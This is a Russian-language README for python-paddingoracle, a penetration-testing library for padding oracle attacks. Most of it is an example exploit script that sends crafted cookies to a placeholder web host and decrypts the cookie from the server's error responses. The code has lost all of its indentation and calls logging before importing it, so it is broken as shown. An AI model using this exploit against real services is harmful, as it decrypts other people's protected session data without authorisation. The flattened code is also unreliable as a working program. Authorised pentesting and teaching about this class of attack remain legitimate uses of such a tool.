
Портативный API для эксплуатации padding oracle
ОБНОВЛЕНО ДЛЯ PYTHON 3
python-paddingoracle — это API, предоставляющий пентестерам настраиваемую
альтернативу PadBuster_ и другим инструментам эксплуатации padding oracle,
которые сложно (без серьёзной переработки) использовать в уникальных
сценариях, зависящих от конкретного приложения. Представьте не-HTTP
приложения, raw-сокеты, клиентские приложения, нестандартные кодировки и т.п.
Чтобы использовать API paddingoracle, просто реализуйте метод oracle() из API PaddingOracle и возбуждайте BadPaddingException, когда дешифратор выявляет padding oracle. Для расшифровки данных передайте необработанные зашифрованные байты в decrypt(), указав размер блока (обычно 8 или 16) и необязательный параметр iv.
Пример ниже (из the example_): ::
from paddingoracle import BadPaddingException, PaddingOracle
from base64 import b64encode, b64decode
from urllib.parse import quote, unquote
import requests
import socket
import time
class PadBuster(PaddingOracle):
def __init__(self, **kwargs):
super(PadBuster, self).__init__(**kwargs)
self.session = requests.Session()
self.wait = kwargs.get('wait', 2.0)
def oracle(self, data, **kwargs):
somecookie = quote(b64encode(data))
self.session.cookies['somecookie'] = somecookie
while 1:
try:
response = self.session.get('http://www.example.com/',
stream=False, timeout=5, verify=False)
break
except (socket.error, requests.exceptions.RequestException):
logging.exception('Retrying request in %.2f seconds...',
self.wait)
time.sleep(self.wait)
continue
self.history.append(response)
if response.ok:
logging.debug('No padding exception raised on %r', somecookie)
return
# An HTTP 500 error was returned, likely due to incorrect padding
raise BadPaddingException
if __name__ == '__main__':
import logging
import sys
if not sys.argv[1:]:
print('Usage: %s <somecookie value>' % (sys.argv[0], ))
sys.exit(1)
logging.basicConfig(level=logging.DEBUG)
encrypted_cookie = b64decode(unquote(sys.argv[1]))
padbuster = PadBuster()
cookie = padbuster.decrypt(encrypted_cookie, block_size=8, iv=bytearray(8))
print('Decrypted somecookie: %s => %r' % (sys.argv[1], cookie))
python-paddingoracle — это реализация на Python, во многом основанная на
PadBuster_ — автоматизированном скрипте для проведения атак Padding Oracle,
разработанном Брайаном Холифилдом из Gotham Digital Science.
.. _the example: https://github.com/mwielgoszewski/python-paddingoracle/blob/master/example.py
.. _PadBuster: https://github.com/GDSSecurity/PadBuster